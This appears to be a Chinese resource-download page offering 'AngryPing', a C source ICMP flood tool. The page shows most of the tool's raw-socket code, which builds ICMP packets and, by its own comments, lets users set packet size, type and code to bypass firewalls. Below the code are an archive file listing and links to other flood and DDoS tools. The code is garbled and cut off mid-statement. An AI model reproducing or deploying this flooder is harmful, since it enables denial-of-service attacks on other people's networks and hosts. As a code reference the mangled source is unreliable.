资源简介
基于ICMP的洪水攻击
每秒1024个包
代码片段和文件信息
//==================================================
/*
agp.c
AnGryPing -- ICMP Flooder by HBU·小金(LK007)
Copyright?? 2002
E-MAIL:lk007@163.com
*/
#include
#include
#include
#pragma comment(lib “ws2_32.lib“)
//头文件和库文件声明,如果不能编译,请在link里加上ws2_32.lib
#define false 0
#define true 1
#define SEQ 0x28376839
// 定义ICMP首部
typedef struct _ihdr
{
BYTE i_type; //8位类型
BYTE i_code; //8位代码
USHORT i_cksum; //16位校验和
USHORT i_id; //识别号
USHORT i_seq; //报文序列号
ULONG timestamp; //时间戳
}ICMP_HEADER;
//计算校验和的子函数
USHORT checksum(USHORT *buffer int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size )
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
int main(int argc char **argv)
{
int datasizeErrorCodeflag;
int TimeOut=2000;//默认数据声明
int SendSEQ=0;
int PacketSize=32;
int type=8;
int code=0;
int counter=0;
char SendBuf[65535]={0}; //缓冲
WSADATA wsaData;
SOCKET SockRaw=(SOCKET)NULL;
struct sockaddr_in DestAddr;
ICMP_HEADER icmp_header;
char DestIp[20]; //目标IP
if (argc<2)
{
//允许用户自定义数据包大小、类型、代码,
//用以绕过一些防火墙或做一些特殊的报文Flood
printf(“AngryPing by HBU-LK007\n“);
printf(“Usage:%s [Dest] \n“argv[0]);
exit(0);
}
strcpy(DestIpargv[1]);//取得目标IP地址
if (argc>2) PacketSize=atoi(argv[2]); //取得数据大小
if (PacketSize>65500)
{
printf(“Packet size must less than 65500\n“); //太大会无法生成IP数据报的
exit(0);
}
if (argc>3)
{
type=atoi(argv[3]); //取得类型值
}
if (type>16)
{
printf(“Type must less than 16\n“);
exit(0);
}
if (argc>4) code=atoi(argv[4]); //取得代码值
//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(22)&wsaData))!=0)
{
fprintf(stderr“WSAStartup failed: %d\n“ErrorCode);
exit(0);
}
if((SockRaw=WSASocket(AF_INETSOCK_RAW
IPPROTO_ICMPNULL0
WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)
{
fprintf(stderr“WSASocket failed: %d\n“WSAGetLastError());
exit(0);
}
flag=TRUE;
{
//设置发送超时
ErrorCode=setsockopt(SockRawSOL_SOCKETSO_SNDTIMEO
(char*)&TimeOutsizeof(TimeOut));
if (ErrorCode==SOCKET_ERROR)
{
fprintf(stderr“Failed to set send TimeOut: %d\n“WSAGetLastError());
exit(1);
}
//主要代码开始
printf(“Dest:%s packet:%d type:%d code:%d\n\n“argv[1]PacketSizetypecode);
printf(“Starting...\n\n“); //视觉效果:P
memset(&DestAddr0sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(DestIp); //填充Socket结构
//填充ICMP首部
icmp_header.i_type = type;
icmp_header.i_code = code;
icmp_header.i_cksum = 0; //校验和置0
icmp_header.i_id = 2;
icmp_header.timestamp = GetTickCount(); //时间戳
icmp_header.i_seq=999;
memcpy(SendBuf &icmp_header sizeof(icmp_header)); //组合ICMP报文和头部
memset(SendBuf+sizeof(icmp_header) ‘
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 1967104 2010-09-18 02:40 Flood\Debug\Flood.bsc
文件 176191 2010-09-18 02:40 Flood\Debug\Flood.exe
文件 192032 2010-09-18 02:40 Flood\Debug\Flood.ilk
文件 17463 2010-09-18 02:40 Flood\Debug\Flood.obj
文件 4631032 2010-09-18 02:40 Flood\Debug\Flood.pch
文件 443392 2010-09-18 02:40 Flood\Debug\Flood.pdb
文件 0 2010-09-18 02:40 Flood\Debug\Flood.sbr
文件 148480 2010-09-18 02:40 Flood\Debug\vc60.idb
文件 77824 2010-09-18 02:40 Flood\Debug\vc60.pdb
文件 4239 2010-09-18 00:28 Flood\Flood.cpp
文件 4309 2010-09-18 02:46 Flood\Flood.dsp
文件 1452 2010-09-18 02:40 Flood\Flood.plg
目录 0 2010-09-18 02:40 Flood\Debug
目录 0 2010-09-18 02:46 Flood
----------- --------- ---------- ----- ----
7663518 14
相关资源
- FloodArea软件
- 编译原理udp flood 攻击实验报告
- floodlight-1.2.tar.gz
- udp flood攻击
- RFC4443(中文) IPv6标准的ICMPv6
- SYN-cookie 和地址状态监控
- 原始套接字 synflood攻击
- tinyOS 路由样例代码
- TCP/UDP/ICMP/IGMP发包工具
- syn.exe --(HUC SYN Flood Tool V0.2)
- 组播流测试工具
- smurf 测试工具
- icmp协议ping程序实现
- 利用ICMP进行路由跟踪
- 多线程自动化syn&udp flood攻击集成工具
- UDP协议中的 UDP Flood 攻击详细讲解
- ubuntu12.04环境下直接Floodlight+miniet搭建
- udp flood 工具
- udp flood exe
- SYN Flooder 攻击源码
- TCP/UDP/ICMP数据包攻击软件
- opnet的flood泛洪路由实现
- Floodlight开发者文档(译文)
- tcpip_stack_v1_2 实现ARP、ICMP、UDP、TCP、
- lisflood-fp.zip
- icmp ddos 攻击
- 最强DDOS工具TLWG 2013 UDP 穿硬防测试 无
- ICMP协议之mask实现
- STM32模拟iic读取mpu6050实测可用
- PING出当前局域网所有在线的IP 含源代
评论
共有 条评论